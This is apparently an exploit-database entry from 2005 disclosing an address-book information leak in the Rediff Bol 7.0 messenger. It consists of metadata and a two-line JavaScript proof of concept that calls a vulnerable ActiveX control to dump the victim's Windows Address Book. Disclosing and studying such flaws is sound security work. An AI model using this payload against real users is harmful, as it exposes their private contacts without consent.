Rediff Bol 7.0 Instant Messenger - ActiveX Control Information Disclosure

Author: Gregory R. Panakkal
type: remote
platform: windows
port: 
date_added: 2005-09-05 
date_updated: 2013-06-16 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/14740/info

Rediff Bol Instant Messenger is prone to an information disclosure vulnerability. A malicious ActiveX control could allow an attacker to obtain the contents of a vulnerable user's Windows Address Book.

[script]
var Obj = new ActiveXObject("Fetch.FetchContact.1");
alert(Obj.FullAddressBook(0,"","",""));
[/script]